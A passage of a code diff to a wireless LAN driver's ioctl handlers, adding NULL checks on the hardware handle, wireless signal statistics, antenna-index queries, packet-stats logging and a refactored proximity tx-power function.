hdd_get_station_statisticsCB, 0, // not periodic FALSE, //non-cached results @@ -3617,6 +3798,7 @@ static int iw_get_rssi(struct net_device *dev, (note that it is not NUL-terminated) */ memcpy(cmd, pHddStaCtx->conn_info.SSID.SSID.ssId, ssidlen ); + wlan_hdd_get_station_stats(pAdapter); vosStatus = wlan_hdd_get_rssi(pAdapter, &s7Rssi); if (VOS_STATUS_SUCCESS == vosStatus) @@ -4176,15 +4358,15 @@ static int __iw_set_priv(struct net_device *dev, } else if (strcasecmp(cmd, "scan-active") == 0) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("making default scan to active")); + hddLog(LOG1, + FL("making default scan to active")); pHddCtx->scan_info.scan_mode = eSIR_ACTIVE_SCAN; ret = snprintf(cmd, cmd_len, "OK"); } else if (strcasecmp(cmd, "scan-passive") == 0) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("making default scan to passive")); + hddLog(LOG1, + FL("making default scan to passive")); pHddCtx->scan_info.scan_mode = eSIR_PASSIVE_SCAN; ret = snprintf(cmd, cmd_len, "OK"); } @@ -4196,41 +4378,6 @@ static int __iw_set_priv(struct net_device *dev, { ret = iw_get_linkspeed(dev, info, wrqu, cmd); } - else if( strncasecmp(cmd, "COUNTRY", 7) == 0 ) { - char *country_code; - long lrc; - eHalStatus eHal_status; - - country_code = cmd + 8; - - init_completion(&pAdapter->change_country_code); - - eHal_status = sme_ChangeCountryCode(pHddCtx->hHal, - (void *)(tSmeChangeCountryCallback)wlan_hdd_change_country_code_callback, - country_code, - pAdapter, - pHddCtx->pvosContext, - eSIR_TRUE, - eSIR_TRUE); - - /* Wait for completion */ - lrc = wait_for_completion_interruptible_timeout(&pAdapter->change_country_code, - msecs_to_jiffies(WLAN_WAIT_TIME_STATS)); - - if (lrc <= 0) - { - hddLog(VOS_TRACE_LEVEL_ERROR,"%s: SME %s while setting country code ", - __func__, "Timed out"); - } - - if (eHAL_STATUS_SUCCESS != eHal_status) - { - VOS_TRACE( VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, - "%s: SME Change Country code fail", __func__); - kfree(cmd); - return -EIO; - } - } else if( strncasecmp(cmd, "rssi", 4) == 0 ) { ret = iw_get_rssi(dev, info, wrqu, cmd); @@ -4525,10 +4672,64 @@ static int iw_get_nick(struct net_device *dev, return ret; } +/* cat /proc/net/wireless invokes this function to get wireless stats */ static struct iw_statistics * __get_wireless_stats(struct net_device *dev) { - ENTER(); - return NULL; + hdd_adapter_t *pAdapter = WLAN_HDD_GET_PRIV_PTR(dev); + hdd_context_t *pHddCtx; + hdd_station_ctx_t *pHddStaCtx; + v_S7_t snr = 0, rssi = 0; + eHalStatus status = eHAL_STATUS_SUCCESS; + + ENTER(); + + if (NULL == pAdapter) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Adapter is NULL",__func__); + return NULL; + } + + pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + status = wlan_hdd_validate_context(pHddCtx); + if (0 != status) + { + return NULL; + } + + pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + if (NULL == pHddStaCtx) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: STA Context is NULL",__func__); + return NULL; + } + + if (eConnectionState_Associated == pHddStaCtx->conn_info.connState) + { + wlan_hdd_get_station_stats(pAdapter); + wlan_hdd_get_snr(pAdapter, &snr); + wlan_hdd_get_rssi(pAdapter, &rssi); + + vos_mem_zero(&pAdapter->iwStats, sizeof(pAdapter->iwStats)); + pAdapter->iwStats.status = 0; + pAdapter->iwStats.qual.qual = snr; + pAdapter->iwStats.qual.level = rssi; + pAdapter->iwStats.qual.noise = rssi - snr; + pAdapter->iwStats.discard.code = 0; + pAdapter->iwStats.discard.retries= 0; + pAdapter->iwStats.miss.beacon = 0; + pAdapter->iwStats.qual.updated = IW_QUAL_ALL_UPDATED | IW_QUAL_DBM; + } + else + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, + FL("not in associated state: %d"), pHddStaCtx->conn_info.connState); + return NULL; + } + + EXIT(); + return &(pAdapter->iwStats); } static struct iw_statistics *get_wireless_stats(struct net_device *dev) @@ -5359,13 +5560,81 @@ static int iw_set_mlme(struct net_device *dev, return ret; } +int wlan_hdd_set_proximity(int set_value) +{ + sHwCalValues hwCalValues; + uint16 hwCalTxPower; + uint8 txPwr = TX_PWR_DEF; + + hddLog(LOG1, FL("WE_SET_PROXIMITY_ENABLE: %d"), set_value); + + if (TRUE == set_value) { + if(vos_nv_read( VNV_HW_CAL_VALUES, &hwCalValues, + NULL, sizeof(sHwCalValues) ) + != VOS_STATUS_SUCCESS) { + return -EINVAL; + } + hwCalTxPower = (uint16)(hwCalValues.calData.hwParam7 >> 16); + + hddLog(LOG1, FL("hwCalTxPower:%x nv_data:%x"), + hwCalTxPower, hwCalValues.calData.hwParam7); + + txPwr = (int8)(hwCalTxPower & 0x00FF); + txPwr = txPwr/10; + if (txPwr < TX_PWR_MIN) + txPwr = TX_PWR_MIN; + if (txPwr > TX_PWR_MAX) + txPwr = TX_PWR_MAX; + + if (sme_SetMaxTxPowerPerBand(eCSR_BAND_24, txPwr) != + eHAL_STATUS_SUCCESS) { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("Setting tx power failed for 2.4GHz band %d"), txPwr); + return -EIO; + } + + txPwr = (int8)((hwCalTxPower >> 8) & 0x00FF); + txPwr /= 10; + if (txPwr < TX_PWR_MIN) + txPwr = TX_PWR_MIN; + if (txPwr > TX_PWR_MAX) + txPwr = TX_PWR_MAX; + + if (sme_SetMaxTxPowerPerBand(eCSR_BAND_5G, txPwr) != + eHAL_STATUS_SUCCESS) { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("setting tx power failed for 5GHz band %d"), txPwr); + return -EIO; + } + } + else if(FALSE == set_value) { + if (sme_SetMaxTxPowerPerBand(eCSR_BAND_24, txPwr) != + eHAL_STATUS_SUCCESS) { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("Setting tx power failed for 2.4GHz band %d"), txPwr); + return -EIO; + } + + if (sme_SetMaxTxPowerPerBand(eCSR_BAND_5G, txPwr) != + eHAL_STATUS_SUCCESS) { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("setting tx power failed for 5GHz band %d"), txPwr); + return -EIO; + } + } + else { + return -EINVAL; + } + + return eHAL_STATUS_SUCCESS; +} /* set param sub-ioctls */ static int __iw_setint_getnone(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { hdd_adapter_t *pAdapter; - tHalHandle hHal; + tHalHandle hHal = NULL; hdd_wext_state_t *pWextState; hdd_context_t *pHddCtx; hdd_mon_ctx_t *pMonCtx = NULL; @@ -5420,8 +5689,8 @@ static int __iw_setint_getnone(struct net_device *dev, tSmeConfigParams smeConfig; memset(&smeConfig, 0x00, sizeof(smeConfig)); - if((ENABLE_11D == set_value) || (DISABLE_11D == set_value)) { - + if(((ENABLE_11D == set_value) || (DISABLE_11D == set_value)) && + (hHal)) { sme_GetConfigParam(hHal,&smeConfig); smeConfig.csrConfig.Is11dSupportEnabled = (v_BOOL_t)set_value; @@ -5466,16 +5735,20 @@ static int __iw_setint_getnone(struct net_device *dev, case 0: //Full Power { struct statsContext context; - eHalStatus status; + eHalStatus status = eHAL_STATUS_FAILURE; init_completion(&context.completion); context.pAdapter = pAdapter; context.magic = POWER_CONTEXT_MAGIC; + if (NULL == hHal) + return -EINVAL; + status = sme_RequestFullPower(WLAN_HDD_GET_HAL_CTX(pAdapter), iw_power_callback_fn, &context, eSME_FULL_PWR_NEEDED_BY_HDD); + if (eHAL_STATUS_PMC_PENDING == status) { int lrc = wait_for_completion_interruptible_timeout( @@ -5507,23 +5780,32 @@ static int __iw_setint_getnone(struct net_device *dev, break; } case 1: //Enable BMPS - sme_EnablePowerSave(hHal, ePMC_BEACON_MODE_POWER_SAVE); + if (hHal) + sme_EnablePowerSave(hHal, ePMC_BEACON_MODE_POWER_SAVE); + else + ret = -EINVAL; break; case 2: //Disable BMPS - sme_DisablePowerSave(hHal, ePMC_BEACON_MODE_POWER_SAVE); + if (hHal) + sme_DisablePowerSave(hHal, ePMC_BEACON_MODE_POWER_SAVE); + else + ret = -EINVAL; break; case 3: //Request Bmps { struct statsContext context; - eHalStatus status; + eHalStatus status = eHAL_STATUS_FAILURE; init_completion(&context.completion); context.pAdapter = pAdapter; context.magic = POWER_CONTEXT_MAGIC; + if (NULL == hHal) + return -EINVAL; + status = sme_RequestBmps(WLAN_HDD_GET_HAL_CTX(pAdapter), - iw_power_callback_fn, &context); + iw_power_callback_fn, &context); if (eHAL_STATUS_PMC_PENDING == status) { int lrc = wait_for_completion_interruptible_timeout( @@ -5555,26 +5837,44 @@ static int __iw_setint_getnone(struct net_device *dev, break; } case 4: //Enable IMPS - sme_EnablePowerSave(hHal, ePMC_IDLE_MODE_POWER_SAVE); + if (hHal) + sme_EnablePowerSave(hHal, ePMC_IDLE_MODE_POWER_SAVE); + else + ret = -EINVAL; break; case 5: //Disable IMPS - sme_DisablePowerSave(hHal, ePMC_IDLE_MODE_POWER_SAVE); + if (hHal) + sme_DisablePowerSave(hHal, ePMC_IDLE_MODE_POWER_SAVE); + else + ret = -EINVAL; break; case 6: //Enable Standby - sme_EnablePowerSave(hHal, ePMC_STANDBY_MODE_POWER_SAVE); + if (hHal) + sme_EnablePowerSave(hHal, ePMC_STANDBY_MODE_POWER_SAVE); + else + ret = -EINVAL; break; case 7: //Disable Standby - sme_DisablePowerSave(hHal, ePMC_STANDBY_MODE_POWER_SAVE); + if (hHal) + sme_DisablePowerSave(hHal, ePMC_STANDBY_MODE_POWER_SAVE); + else + ret = -EINVAL; break; case 8: //Request Standby #ifdef CONFIG_HAS_EARLYSUSPEND #endif break; case 9: //Start Auto Bmps Timer - sme_StartAutoBmpsTimer(hHal); + if (hHal) + sme_StartAutoBmpsTimer(hHal); + else + ret = -EINVAL; break; case 10://Stop Auto BMPS Timer - sme_StopAutoBmpsTimer(hHal); + if (hHal) + sme_StopAutoBmpsTimer(hHal); + else + ret = -EINVAL; break; #ifdef CONFIG_HAS_EARLYSUSPEND case 11://suspend to standby @@ -5607,7 +5907,8 @@ static int __iw_setint_getnone(struct net_device *dev, case WE_SET_MAX_ASSOC: { if ((WNI_CFG_ASSOC_STA_LIMIT_STAMIN > set_value) || - (WNI_CFG_ASSOC_STA_LIMIT_STAMAX < set_value)) + (WNI_CFG_ASSOC_STA_LIMIT_STAMAX < set_value) || + (NULL == hHal)) { ret = -EINVAL; } @@ -5642,6 +5943,9 @@ static int __iw_setint_getnone(struct net_device *dev, case WE_SET_DATA_INACTIVITY_TO: { + if (NULL == hHal) + return -EINVAL; + if ((set_value < CFG_DATA_INACTIVITY_TIMEOUT_MIN) || (set_value > CFG_DATA_INACTIVITY_TIMEOUT_MAX) || (ccmCfgSetInt((WLAN_HDD_GET_CTX(pAdapter))->hHal, @@ -5661,6 +5965,9 @@ static int __iw_setint_getnone(struct net_device *dev, tSirMacAddr bssid = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; tSirMacAddr selfMac = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; + if (NULL == hHal) + return -EINVAL; + hddLog(VOS_TRACE_LEVEL_INFO, "%s: Setting maximum tx power %d dBm", __func__, set_value); if( sme_SetMaxTxPower(hHal, bssid, selfMac, set_value) != @@ -5775,7 +6082,10 @@ static int __iw_setint_getnone(struct net_device *dev, { hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); pHddCtx->cfg_ini->gEnableDebugLog = set_value; - sme_UpdateConnectDebug(pHddCtx->hHal, set_value); + if (hHal) + sme_UpdateConnectDebug(pHddCtx->hHal, set_value); + else + ret = -1; break; } #ifdef FEATURE_WLAN_TDLS @@ -5813,8 +6123,9 @@ static int __iw_setint_getnone(struct net_device *dev, } hddLog(LOG1, "WE_SET_BAND_PREFERRENCE val %d ", set_value); - if (eCSR_BAND_ALL == set_value || - eCSR_BAND_24 == set_value || eCSR_BAND_5G == set_value) { + if ((eCSR_BAND_ALL == set_value || + eCSR_BAND_24 == set_value || eCSR_BAND_5G == set_value) && + (hHal)) { sme_GetConfigParam(hHal, &smeConfig); smeConfig.csrConfig.scanBandPreference = set_value; @@ -5841,6 +6152,9 @@ static int __iw_setint_getnone(struct net_device *dev, hddLog(LOG1, FL( "Set Miracast vendor tuning %d"), set_value); + if (NULL == hHal) + return -EINVAL; + if (1 == set_value || 0 == set_value) { if (eHAL_STATUS_SUCCESS != sme_SetMiracastVendorConfig(pHddCtx->hHal, @@ -5873,7 +6187,7 @@ static int __iw_setint_getnone(struct net_device *dev, { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: TDLS_2040_BSS_COEXISTENCE %d", __func__, set_value); - if (set_value == 0 || set_value == 1) + if ((set_value == 0 || set_value == 1) && (hHal)) { sme_SetTdls2040BSSCoexistence(WLAN_HDD_GET_HAL_CTX(pAdapter), set_value); @@ -5895,6 +6209,9 @@ static int __iw_setint_getnone(struct net_device *dev, hddLog( LOG1, FL("WE_SET_RTS_CTS_HTVHT set value %d"), set_value); + if (NULL == hHal) + return -EINVAL; + if (eHAL_STATUS_SUCCESS != sme_SetRtsCtsHtVht( pHddCtx->hHal, set_value)) { @@ -5914,6 +6231,7 @@ static int __iw_setint_getnone(struct net_device *dev, { hddLog(LOGE, "invalid mode %d", mode); ret = -EIO; + break; } pMonCtx = WLAN_HDD_GET_MONITOR_CTX_PTR(pAdapter); @@ -5921,6 +6239,7 @@ static int __iw_setint_getnone(struct net_device *dev, { hddLog(LOGE, "Monitor Context NULL"); ret = -EIO; + break; } if (pMonCtx->state == set_value) { @@ -5952,74 +6271,43 @@ static int __iw_setint_getnone(struct net_device *dev, } break; } - case WE_SET_PROXIMITY_ENABLE: + case WE_SET_PKT_STATS_ENABLE_DISABLE: { - sHwCalValues hwCalValues; - uint16 hwCalTxPower; - uint8 txPwr = TX_PWR_DEF; - - hddLog(LOG1, FL("WE_SET_PROXIMITY_ENABLE: %d"), set_value); - - if (TRUE == set_value) { - if(vos_nv_read( VNV_HW_CAL_VALUES, &hwCalValues, - NULL, sizeof(sHwCalValues) ) - != VOS_STATUS_SUCCESS) { - ret = -EINVAL; - break; - } - hwCalTxPower = (uint16)(hwCalValues.calData.hwParam7 >> 16); - - hddLog(LOG1, FL("hwCalTxPower:%x nv_data:%x"), - hwCalTxPower, hwCalValues.calData.hwParam7); - - txPwr = (int8)(hwCalTxPower & 0x00FF); - txPwr = txPwr/10; - if (txPwr < TX_PWR_MIN) - txPwr = TX_PWR_MIN; - if (txPwr > TX_PWR_MAX) - txPwr = TX_PWR_MAX; - - if (sme_SetMaxTxPowerPerBand(eCSR_BAND_24, txPwr) != - eHAL_STATUS_SUCCESS) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("Setting tx power failed for 2.4GHz band %d"), txPwr); - ret = -EIO; - } - - txPwr = (int8)((hwCalTxPower >> 8) & 0x00FF); - txPwr /= 10; - if (txPwr < TX_PWR_MIN) - txPwr = TX_PWR_MIN; - if (txPwr > TX_PWR_MAX) - txPwr = TX_PWR_MAX; - - if (sme_SetMaxTxPowerPerBand(eCSR_BAND_5G, txPwr) != - eHAL_STATUS_SUCCESS) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("setting tx power failed for 5GHz band %d"), txPwr); - ret = -EIO; - } + hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + tAniWifiStartLog start_log; + if (!pHddCtx->cfg_ini->wlanPerPktStatsLogEnable || + !vos_isPktStatsEnabled()) + { + hddLog(LOGE, FL("per pkt stats not enabled")); + return -EINVAL; } - else if(FALSE == set_value) { - if (sme_SetMaxTxPowerPerBand(eCSR_BAND_24, txPwr) != - eHAL_STATUS_SUCCESS) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("Setting tx power failed for 2.4GHz band %d"), txPwr); - ret = -EIO; - } + hddLog(LOG1, FL("Set Pkt Stats %d"), set_value); - if (sme_SetMaxTxPowerPerBand(eCSR_BAND_5G, txPwr) != - eHAL_STATUS_SUCCESS) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("setting tx power failed for 5GHz band %d"), txPwr); - ret = -EIO; - } + if (1 == set_value || 0 == set_value) + { + start_log.ringId = RING_ID_PER_PACKET_STATS; + start_log.flag = 0; + if (set_value) + start_log.verboseLevel = WLAN_LOG_LEVEL_ACTIVE; + else + start_log.verboseLevel = WLAN_LOG_LEVEL_OFF; + + vos_set_ring_log_level(start_log.ringId, start_log.verboseLevel); } - else { + else + { + hddLog(LOGE, + FL("Invalid value %d in WE_SET_PKT_STATS_ENABLE_DISABLE IOCTL"), + set_value); ret = -EINVAL; } break; } + case WE_SET_PROXIMITY_ENABLE: + { + ret = wlan_hdd_set_proximity(set_value); + break; + } default: { hddLog(LOGE, "Invalid IOCTL setvalue command %d value %d", @@ -6224,6 +6512,113 @@ static int iw_setchar_getnone(struct net_device *dev, return ret; } +static void hdd_GetCurrentAntennaIndex(int antennaId, void *pContext) +{ + struct statsContext *context; + hdd_adapter_t *pAdapter; + + if (NULL == pContext) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: Bad param, pContext [%p]", + __func__, pContext); + return; + } + + context = pContext; + pAdapter = context->pAdapter; + + spin_lock(&hdd_context_lock); + + if ((NULL == pAdapter) || (ANTENNA_CONTEXT_MAGIC != context->magic)) + { + /* the caller presumably timed out so there is nothing we can do */ + spin_unlock(&hdd_context_lock); + hddLog(VOS_TRACE_LEVEL_WARN, + "%s: Invalid context, pAdapter [%p] magic [%08x]", + __func__, pAdapter, context->magic); + return; + } + + context->magic = 0; + pAdapter->antennaIndex = antennaId; + + complete(&context->completion); + spin_unlock(&hdd_context_lock); +} + +static VOS_STATUS wlan_hdd_get_current_antenna_index(hdd_adapter_t *pAdapter, + int *antennaIndex) +{ + hdd_context_t *pHddCtx; + eHalStatus halStatus; + struct statsContext context; + long lrc; + + ENTER(); + if (NULL == pAdapter) + { + hddLog(VOS_TRACE_LEVEL_WARN, + "%s: Invalid context, pAdapter", __func__); + return VOS_STATUS_E_FAULT; + } + pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + if (0 != (wlan_hdd_validate_context(pHddCtx))) + { + return VOS_STATUS_E_FAULT; + } + if (TRUE != sme_IsFeatureSupportedByFW(ANTENNA_DIVERSITY_SELECTION)) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: ANTENNA_DIVERSITY_SELECTION is not supported by Firwmare", + __func__); + return VOS_STATUS_E_NOSUPPORT; + } + init_completion(&context.completion); + context.pAdapter = pAdapter; + context.magic = ANTENNA_CONTEXT_MAGIC; + + halStatus = sme_GetCurrentAntennaIndex(pHddCtx->hHal, + hdd_GetCurrentAntennaIndex, + &context, pAdapter->sessionId); + if (eHAL_STATUS_SUCCESS != halStatus) + { + spin_lock(&hdd_context_lock); + context.magic = 0; + spin_unlock(&hdd_context_lock); + hddLog(VOS_TRACE_LEVEL_ERROR,"%s: Unable to retrieve Antenna Index", + __func__); + /* we'll returned a cached value below */ + *antennaIndex = -1; + return VOS_STATUS_E_FAILURE; + } + else + { + /* request was sent -- wait for the response */ + lrc = wait_for_completion_interruptible_timeout(&context.completion, + msecs_to_jiffies(WLAN_WAIT_TIME_STATS)); + if (lrc <= 0) + { + spin_lock(&hdd_context_lock); + context.magic = 0; + spin_unlock(&hdd_context_lock); + hddLog(VOS_TRACE_LEVEL_ERROR, "%s:SME %s while retrieving Antenna" + " Index", + __func__, (0 == lrc) ? "timeout" : "interrupt"); + *antennaIndex = -1; + return VOS_STATUS_E_FAILURE; + } + } + spin_lock(&hdd_context_lock); + context.magic = 0; + spin_unlock(&hdd_context_lock); + + *antennaIndex = pAdapter->antennaIndex; + + EXIT(); + return VOS_STATUS_SUCCESS; +} + /* get param sub-ioctls */ static int __iw_setnone_getint(struct net_device *dev, struct iw_request_info *info, @@ -6234,7 +6629,6 @@ static int __iw_setnone_getint(struct net_device *dev, hdd_context_t *pHddCtx; int *value = (int *)extra; int ret = 0; /* success */ - tSmeConfigParams smeConfig; ENTER(); @@ -6352,6 +6746,7 @@ static int __iw_setnone_getint(struct net_device *dev, case WE_GET_SCAN_BAND_PREFERENCE: { + tSmeConfigParams smeConfig; sme_GetConfigParam(hHal, &smeConfig); *value = smeConfig.csrConfig.scanBandPreference; @@ -6359,7 +6754,11 @@ static int __iw_setnone_getint(struct net_device *dev, "scanBandPreference = %d\n", *value); break; } - + case WE_GET_ANTENA_DIVERSITY_SELECTION: + { + wlan_hdd_get_current_antenna_index(pAdapter, value); + break; + } default: { hddLog(LOGE, "Invalid IOCTL get_value command %d ",value[0]); @@ -6639,6 +7038,7 @@ static int __iw_get_char_setnone(struct net_device *dev, *And currently it only checks P2P_CLIENT adapter. *P2P_DEVICE and P2P_GO have not been added as of now. */ +#ifdef TRACE_RECORD case WE_GET_STATES: { int buf = 0, len = 0; @@ -6775,6 +7175,7 @@ static int __iw_get_char_setnone(struct net_device *dev, wrqu->data.length = strlen(extra)+1; break; } +#endif case WE_GET_CFG: { @@ -6909,6 +7310,37 @@ static int __iw_get_char_setnone(struct net_device *dev, wrqu->data.length = strlen(extra)+1; break; } +#endif +#ifdef WLAN_FEATURE_RMC + case WE_GET_IBSS_STA_INFO: + { + hdd_station_ctx_t *pHddStaCtx = + WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + int idx = 0; + int length = 0, buf = 0; + + for (idx = 0; idx < HDD_MAX_NUM_IBSS_STA; idx++) + { + if (0 != pHddStaCtx->conn_info.staId[ idx ]) + { + buf = snprintf + ( + (extra + length), WE_MAX_STR_LEN - length, + "\n%d .%02x:%02x:%02x:%02x:%02x:%02x\n", + pHddStaCtx->conn_info.staId[ idx ], + pHddStaCtx->conn_info.peerMacAddress[idx].bytes[0], + pHddStaCtx->conn_info.peerMacAddress[idx].bytes[1], + pHddStaCtx->conn_info.peerMacAddress[idx].bytes[2], + pHddStaCtx->conn_info.peerMacAddress[idx].bytes[3], + pHddStaCtx->conn_info.peerMacAddress[idx].bytes[4], + pHddStaCtx->conn_info.peerMacAddress[idx].bytes[5] + ); + length += buf; + } + } + wrqu->data.length = strlen(extra)+1; + break; + } #endif case WE_GET_SNR: { @@ -6944,6 +7376,13 @@ static int __iw_get_char_setnone(struct net_device *dev, break; } +#ifdef FEATURE_OEM_DATA_SUPPORT + case WE_GET_OEM_DATA_CAP: + { + return iw_get_oem_data_cap(dev, info, wrqu, extra); + } +#endif /* FEATURE_OEM_DATA_SUPPORT */ + default: { hddLog(LOGE, "%s: Invalid IOCTL command %d", __func__, sub_cmd ); @@ -7032,6 +7471,13 @@ static int __iw_setnone_getnone(struct net_device *dev, wlan_hdd_get_intf_addr( WLAN_HDD_GET_CTX(pAdapter) ),TRUE); break; } +#ifdef WLAN_FEATURE_RMC + case WE_IBSS_GET_PEER_INFO_ALL: + { + hdd_wlan_get_ibss_peer_info_all(pAdapter); + break; + } +#endif case WE_STOP_AP: { /*FIX ME: Need to be revisited if multiple SAPs to be supported */ @@ -7177,8 +7623,15 @@ static int __iw_setnone_getnone(struct net_device *dev, { vos_fatal_event_logs_req(WLAN_LOG_TYPE_NON_FATAL, WLAN_LOG_INDICATOR_IOCTL, - WLAN_LOG_REASON_CODE_UNUSED, - TRUE); + WLAN_LOG_REASON_IOCTL, + TRUE, TRUE); + break; + } + case WE_GET_FW_MEMDUMP: + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "FW_MEM_DUMP requested "); + get_fwr_memdump(dev,info,wrqu,extra); break; } default: @@ -7272,31 +7725,33 @@ void hdd_wmm_tx_snapshot(hdd_adapter_t *pAdapter) return; } - for(i =0; i< HDD_MAX_NUM_IBSS_STA; i++) - { - if(pPeerInfo->ibssStaInfo[i].isUsed) - { - hddLog(LOGE, "******IBSS STAIndex: %d*********", i); - for ( j=0; j< NUM_TX_QUEUES; j++) - { - spin_lock_bh(&pPeerInfo->ibssStaInfo[i].wmm_tx_queue[j].lock); - hddLog(LOGE, "HDD TxQueue Info For AC: %d Count: %d PrevAdress:%p, NextAddress:%p", - j, pPeerInfo->ibssStaInfo[i].wmm_tx_queue[j].count, - pPeerInfo->ibssStaInfo[i].wmm_tx_queue[j].anchor.prev, - pPeerInfo->ibssStaInfo[i].wmm_tx_queue[j].anchor.next); - spin_unlock_bh(&pPeerInfo->ibssStaInfo[i].wmm_tx_queue[j].lock); - } + for (i = 0; i < HDD_MAX_NUM_IBSS_STA; i++) { + if (pPeerInfo->ibssStaInfo[i].isUsed) { + hddLog(LOGE, "******IBSS STAIndex: %d*********", i); + for (j = 0; j < NUM_TX_QUEUES; j++) { + if (pPeerInfo->ibssStaInfo[i].wmm_tx_queue[j].count) { + spin_lock_bh( + &pPeerInfo->ibssStaInfo[i].wmm_tx_queue[j].lock); + hddLog(LOGE, + "HDD TxQueue Info For AC: %d Count: %d PrevAdress:%p, NextAddress:%p", + j, pPeerInfo->ibssStaInfo[i].wmm_tx_queue[j].count, + pPeerInfo->ibssStaInfo[i].wmm_tx_queue[j].anchor.prev, + pPeerInfo->ibssStaInfo[i].wmm_tx_queue[j].anchor.next); + spin_unlock_bh( + &pPeerInfo->ibssStaInfo[i].wmm_tx_queue[j].lock); + } + } } } - } + static int __iw_set_var_ints_getnone(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { hdd_adapter_t *pAdapter; - tHalHandle hHal; + tHalHandle hHal = NULL; int sub_cmd; int *apps_args = (int *) extra; hdd_station_ctx_t *pStaCtx = NULL ; @@ -7370,21 +7825,29 @@ static int __iw_set_var_ints_getnone(struct net_device *dev, { case WE_LOG_DUMP_CMD: { - if (apps_args[0] == 26) { - if (!pHddCtx->cfg_ini->crash_inject_enabled) { - hddLog(LOGE, "Crash Inject ini disabled, Ignore Crash Inject"); - return 0; - } + if(apps_args[0] == 26) { + if (!pHddCtx->cfg_ini->crash_inject_enabled) { + hddLog(LOGE, "Crash Inject ini disabled, Ignore Crash Inject"); + return 0; } + } hddLog(LOG1, "%s: LOG_DUMP %d arg1 %d arg2 %d arg3 %d arg4 %d", __func__, apps_args[0], apps_args[1], apps_args[2], apps_args[3], apps_args[4]); - - logPrintf(hHal, apps_args[0], apps_args[1], apps_args[2], - apps_args[3], apps_args[4]); + if (hHal) + logPrintf(hHal, apps_args[0], apps_args[1], apps_args[2], + apps_args[3], apps_args[4]); } break; +#ifdef WLAN_FEATURE_RMC + case WE_IBSS_GET_PEER_INFO: + { + pr_info ( "Station ID = %d\n",apps_args[0]); + hdd_wlan_get_ibss_peer_info(pAdapter, apps_args[0]); + } + break; +#endif case WE_P2P_NOA_CMD: { @@ -7429,8 +7892,9 @@ static int __iw_set_var_ints_getnone(struct net_device *dev, "bitmask_of_module %d ", __func__, apps_args[0], apps_args[1], apps_args[2], apps_args[3]); - vosTraceDumpAll((void*)hHal , apps_args[0], apps_args[1], - apps_args[2], apps_args[3]); + if (hHal) + vosTraceDumpAll((void*)hHal , apps_args[0], apps_args[1], + apps_args[2], apps_args[3]); } break; @@ -7441,7 +7905,9 @@ static int __iw_set_var_ints_getnone(struct net_device *dev, // in the Riva dump command if((apps_args[0] >= 40 ) && (apps_args[0] <= 160 )) { - logPrintf(hHal, cmd, staId, apps_args[0], apps_args[1], apps_args[2]); + if (hHal) + logPrintf(hHal, cmd, staId, apps_args[0], apps_args[1], + apps_args[2]); } else { @@ -7484,12 +7950,18 @@ static int __iw_set_var_ints_getnone(struct net_device *dev, v_U32_t magic = 0; struct completion cmpVar; long waitRet = 0; + tVOS_CON_MODE mode = hdd_get_conparam(); + + if (VOS_MONITOR_MODE != mode) { + hddLog(LOGE, FL("invalid mode %d"), mode); + return -EIO; + } pMonCtx = WLAN_HDD_GET_MONITOR_CTX_PTR(pAdapter); if( pMonCtx == NULL ) { hddLog(LOGE, "Monitor Context NULL"); - break; + return -EIO; } hddLog(LOG1, "%s: Monitor MOde Configuration: ChNo=%d ChBW=%d CRCCheck=%d type=%d ConversionBit=%d", __func__, apps_args[0], apps_args[1], apps_args[2], @@ -7520,8 +7992,7 @@ static int __iw_set_var_ints_getnone(struct net_device *dev, VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, FL("failed to post MON MODE REQ")); magic = 0; - ret = -EIO; - break; + return -EIO; } waitRet = wait_for_completion_timeout(&cmpVar, MON_MODE_MSG_TIMEOUT); @@ -7540,12 +8011,18 @@ static int __iw_set_var_ints_getnone(struct net_device *dev, v_U32_t magic = 0; struct completion cmpVar; long waitRet = 0; + tVOS_CON_MODE mode = hdd_get_conparam(); + + if (VOS_MONITOR_MODE != mode) { + hddLog(LOGE, FL("invalid mode %d"), mode); + return -EIO; + } pMonCtx = WLAN_HDD_GET_MONITOR_CTX_PTR(pAdapter); if( pMonCtx == NULL ) { hddLog(LOGE, "Monitor Context NULL"); - break; + return -EIO; } /* Input Validation Part of FW */ pMonCtx->numOfMacFilters=1; @@ -7570,8 +8047,7 @@ static int __iw_set_var_ints_getnone(struct net_device *dev, VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, FL("failed to post MON MODE REQ")); magic = 0; - ret = -EIO; - break; + return -EIO; } waitRet = wait_for_completion_timeout(&cmpVar, MON_MODE_MSG_TIMEOUT); @@ -8456,7 +8932,8 @@ static int __iw_set_keepalive_params(struct net_device *dev, copied individually. */ memcpy(&keepaliveRequest, pRequest, wrqu->data.length); - 